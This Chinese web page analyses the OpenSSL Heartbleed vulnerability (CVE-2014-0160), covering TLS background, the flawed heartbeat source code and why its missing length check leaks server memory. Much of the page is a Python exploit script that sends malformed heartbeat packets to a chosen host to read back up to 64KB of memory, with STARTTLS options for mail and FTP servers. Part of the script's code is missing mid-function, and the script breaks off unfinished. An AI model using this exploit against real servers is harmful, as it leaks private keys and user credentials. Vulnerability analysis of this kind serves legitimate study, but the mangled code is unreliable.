| OpenSSL“心脏出血”漏洞的分析 | 您所在的位置：网站首页 › 兔子尾巴故事图片 › OpenSSL“心脏出血”漏洞的分析 |
OpenSSL“心脏出血”漏洞的分析
|
1. 漏洞描述
2. 漏洞分析
2.1 漏洞介绍
2.2 TLS/SSL介绍
2.3 漏洞环境搭建
2.4 漏洞验证
3. CVE-2014-0160漏洞分析
3.1 源代码分析
3.2 漏洞利用点
4. 简析Heartbleed检测POC
5. 参考资料
OpenSSL 是一个安全协议，它可以对用户与大多数网络服务所提供的服务器之间的通信进行加密。因为很多网站(例如google等)采用的是 OpenSSL 来保护敏感的用户信息，但是OpenSSL在实现TLS和DTLS的心跳处理逻辑时，存在编码缺陷。OpenSSL的心跳处理逻辑没有检测心跳包中的长度字段是否和后续的数据字段相符合，攻击者可以利用这一点，构造异常的数据包，来获取心跳数据所在的内存区域的后续数据。这些数据中可能包含了证书私钥，用户名，用户密码，用户邮箱等敏感信息。该漏洞允许攻击者从内存中读取多达64KB的数据。
TLS 和 SSL 是两个密切相关的协议, 均用于保证两个主机之间通信数据的机密性与完整性。 TLS或 SSL 可为已存在的应用层协议(例如. HTTP, LDAP, FTP, SMTP 及其他)，添加一个安全层。它同样可以用于创建VPN解决方案(例如, OpenVPN). SSL 协议于1994年由Netscape开发。1996年，SSL 3.0 (最后版本)被发布。IETF 基于此协议进行了开发，取名为TLS。1999年，IETF在RFC2246中发布TLS 1.0。 TLS 或 SSL 协议，由多层构成. 最接近它的上层协议是可信传输协议(例如: TCP). 它可用于封装较高层次的协议。 协议握手 – 允许服务器与客户间相互验证, 协商加密算法,交换密钥. 协议警告 – 警告讯息传达警告的严重程度和警报的描述(错误，关闭，握手障碍等). 导致连接立即终止的一些致命结果，都会产生警告。警告信息会在当前连接状态下，被加密和压缩。 协议应用 – 位于传输层协议(TCP/IP)之上, 例如: HTTP, TELNET, FTP, SMTP. 为了在客户端与服务端建立一个安全会话，TLS/SSL需要完成几步验证，并创建密钥。握手过程，交互信息如下:
通过POC进行漏洞验证，通过本地执行Python POC 输入目标ip及端口进行验证。通过Wireshark抓包查看数据包特征。
代码执行成功，成功返回数据。 查看数据包我们可以看到POC所执行的交互过程： 建立socket连接 发送TLS/SSL Client Hello请求 发送畸形heartbleed数据 检测漏洞存在
请看ssl/dl_both.c，漏洞的补丁从这行语句开始： int dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */一上来我们就拿到了一个指向一条SSLv3记录中数据的指针。结构体SSL3_RECORD的定义如下（译者注：结构体SSL3_RECORD不是SSLv3记录的实际存储格式。一条SSLv3记录所遵循的存储格式请参见下文分析）： typedef struct ssl3_record_st { int type; /* type of record */ unsigned int length; /* How many bytes available */ unsigned int off; /* read/write offset into 'buf' */ unsigned char *data; /* pointer to the record data */ unsigned char *input; /* where the decode bytes are */ unsigned char *comp; /* only used with decompression - malloc()ed */ unsigned long epoch; /* epoch number, needed by DTLS1 */ unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */ } SSL3_RECORD;每条SSLv3记录中包含一个类型域（type）、一个长度域（length）和一个指向记录数据的指针（data）。我们回头去看dtls1_process_heartbeat： /* Read type and payload length first */ hbtype = *p++; n2s(p, payload); pl = p;SSLv3记录的第一个字节标明了心跳包的类型。宏n2s从指针p指向的数组中取出前两个字节，并把它们存入变量payload中——这实际上是心跳包载荷的长度域（length）。注意程序并没有检查这条SSLv3记录的实际长度。变量pl则指向由访问者提供的心跳包数据。 这个函数的后面进行了以下工作： unsigned char *buffer, *bp; int r; /* Allocate memory for the response, size is 1 byte * message type, plus 2 bytes payload length, plus * payload, plus padding */ buffer = OPENSSL_malloc(1 + 2 + payload + padding); bp = buffer;所以程序将分配一段由访问者指定大小的内存区域，这段内存区域最大为 (65535 + 1 + 2 + 16) 个字节。变量bp是用来访问这段内存区域的指针。 /* Enter response type, length and copy payload */ *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload); 宏s2n与宏n2s干的事情正好相反：s2n读入一个16 bit长的值，然后将它存成双字节值，所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序从pl处开始复制payload个字节到新分配的bp数组中——pl指向了用户提供的心跳包数据。最后，程序将所有数据发回给用户。 3.2 漏洞利用点用户构造的恶意payload，如果用户并没有在心跳包中提供足够多的数据，会导致什么问题？比如pl指向的数据实际上只有一个字节，那么memcpy会把这条SSLv3记录之后的数据——无论那些数据是什么——都复制出来。 4. 简析Heartbleed检测POC #!/usr/bin/python import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-s', '--starttls', type='string', default='', help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp (default=NULL)') options.add_option('-t', '--tls', type='int', default=2, help='0=SSLv3, 1=TLSv1, 2=TLS=1.1, 3=TLSv1.1 (default: 2)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') # SSLv3 hb0 = h2bin(''' 18 03 00 00 03 01 40 00 ''') # TLSv1 hb1 = h2bin(''' 18 03 01 00 03 01 40 00 ''') # TLSv1.1 hb2 = h2bin(''' 18 03 02 00 03 01 40 00 ''') # TLSv1.2 hb3 = h2bin(''' 18 03 03 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False BUFSIZ = 1024 def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' s.connect((args[0], opts.port)) if opts.starttls != '': print 'Sending STARTTLS Protocol Command...' if opts.starttls == 'smtp': s.recv(BUFSIZ) s.send("EHLO openssl.client.net\n") s.recv(BUFSIZ) s.send("STARTTLS\n") s.recv(BUFSIZ) if opts.starttls == 'pop3': s.recv(BUFSIZ) s.send("STLS\n") s.recv(BUFSIZ) if opts.starttls == 'imap': s.recv(BUFSIZ) s.send("STARTTLS\n") s.recv(BUFSIZ) if opts.starttls == 'ftp': s.recv(BUFSIZ) s.send("AUTH TLS\n") s.recv(BUFSIZ) if opts.starttls == 'xmpp': # TODO: This needs SASL s.send(" |
【本文地址】